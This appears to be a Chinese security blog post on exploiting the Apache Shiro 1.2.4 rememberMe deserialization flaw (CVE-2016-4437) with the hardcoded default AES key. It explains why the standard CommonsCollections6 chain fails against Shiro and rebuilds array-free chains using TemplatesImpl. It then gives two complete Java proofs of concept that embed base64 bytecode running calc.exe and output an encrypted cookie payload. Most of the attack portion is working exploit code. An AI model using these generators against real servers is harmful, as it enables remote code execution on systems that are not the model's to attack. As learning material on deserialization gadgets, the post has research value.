Loading

利用TemplatesImpl攻击Shiro

前言

前边已经学习了CC1,CC6,CC3,其中1和3收到JDK 8U71限制的的,C6是通杀高版本的,但是通过TemplatesImpl构造的利用链,理论上可以执行任意Java代码,这是一种非常通用的代码执行漏洞,不受到对于链的限制,和CC6比起来,各有优缺点。下面学习一下两者的利用

CC6攻击Shiro

Shiro原理也比较简单:为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

环境配置

这里使用P牛简化的一个shrio1.2.4的登陆应用

导入IDEA,打包然后发布,访问http://localhost:8080/shirodemo/login.jsp

账号密码,root/secret,成功登录:

image-20221111193025105

如果登录时选择了remember me的多选框,则登录成功后服务端会返回一个rememberMe的Cookie:

image-20221111193300170

攻击过程如下:

  1. 使用以前学过的CommonsCollections6利用链生成一个序列化Payload
  2. 使用Shiro默认Key进行加密
  3. 密文作为rememberMe的Cookie发送给服务端

将CC6生成的payload使用Shiro默认Key进行加密。

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());

加密的过程,使用的shiro内置的类 org.apache.shiro.crypto.AesCipherService ,最后生成一段base64字符串。 直接将这段字符串作为rememberMe的值(不做url编码),发送给shiro。并没有弹出计算器,而是Tomcat出现了报错:

image-20221111201649494

问题

异常信息的倒数第一行,也就是这个类:org.apache.shiro.io.ClassResolvingObjectInputStream 。可以看到,这是一个ObjectInputStream的子类,其重写了resolveClass方法:

image-20221111201834165

resolveClass是反序列化中用来查找类的方法(在动态加载字节码已经说过),简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的java.lang.Class 对象。 对比一下它的父类,也就是正常的ObjectInputStream 类中的resolveClass方法:

protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException{
	String name = desc.getName();
	try {
		return Class.forName(name, false, latestUserDefinedLoader());
			}catch (ClassNotFoundException ex) {
				Class<?> cl = primClasses.get(name);
				if (cl != null) {
					return cl;
				} else {
					throw ex;
            }
   }
}  

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName

而后者用的是Java原生的 Class.forName

关于这两者的区别,中间涉及到大量Tomcat对类加载的处理逻辑,参考文章

https://blog.zsxsoft.com/post/35

http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe反序列化漏洞分析-CVE-2016-4437/

结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组

构造不含数组的反序列化Gadget

前面说到的TemplatesImpl就可以利用了,通过下面这几行代码来执行一段Java的字节码

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

接下来利用InvokerTransformer调用TemplatesImpl#newTransformer方法:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};

这里仍然用到了Transformer数组,不符合条件,在CommonsCollections6中,我们用到了一个类TiedMapEntry,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry类有个getValue方法,调用了map的get方法,并传入key:

public Object getValue() {
return map.get(key);
}

当这个map是LazyMap时,其get方法就是触发transform的关键点

public Object get(Object key) {
// create value for key if key is not currently in the map
	if (map.containsKey(key) == false) {
		Object value = factory.transform(key);
		map.put(key, value);
		return value;
	}
		return map.get(key);
}

以往构造CommonsCollections Gadget的时候,对LazyMap#get方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

那么我们再回看前面的Transform数组:

Transformer[] transformers = new Transformer[]{
	new ConstantTransformer(obj),
	new InvokerTransformer("newTransformer", null, null)
};

new ConstantTransformer(obj) 这一步完全是可以去除了,数组长度变成1,那么数组也就不需要了。

改造一下CommonsCollections6

改造

首先还是创建TemplatesImpl对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用newTransformer方法的InvokerTransformer,但注意的是,此时先传入一个人畜无害的方法,比如getClass ,避免恶意方法在构造Gadget的时候触发

Transformer transformer = new InvokerTransformer("getClass", null, null);

再把之前的CommonsCollections6的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(“keykey”);

完整POC如下

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6_shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "Arsene.Tang");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer transformer = new InvokerTransformer("getClass",null,null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap,obj);

        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.clear();

        setFieldValue(transformer,"iMethodName","newTransformer");

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        //加密
        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
}

image-20221112151137620

CC3攻击Shiro

同理,我们把CC3接上TemplatesImpl

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3_shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "Arsene.Tang");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj });
        Transformer fakeTransformers=new ConstantTransformer(1);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);

        TiedMapEntry tme = new TiedMapEntry(outerMap,TrAXFilter.class);

        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.clear();

        setFieldValue(outerMap,"factory",transformer);

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        //加密
        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
}

image-20221112151613951

posted @ 2022-11-13 01:52  gk0d  阅读(184)  评论(0编辑  收藏  举报